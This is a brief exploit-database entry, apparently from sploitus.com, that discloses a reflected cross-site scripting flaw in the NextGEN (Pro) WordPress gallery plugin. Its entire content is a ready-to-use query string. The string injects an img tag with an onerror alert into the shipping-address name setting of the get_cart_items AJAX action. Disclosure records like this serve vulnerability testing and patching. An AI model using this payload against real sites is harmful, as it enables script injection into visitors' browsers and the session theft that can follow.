## https://sploitus.com/exploit?id=WPEX-ID:5E1A4725-3D20-44B0-8A35-BBF4263957F7
On a page where a NextGEN (Pro) gallery is embed: ?photocrati_ajax=1&action=get_cart_items&cart=&settings[shipping_address][name]=a%3Cimg%20src=x%20onerror=alert('XSS')%3E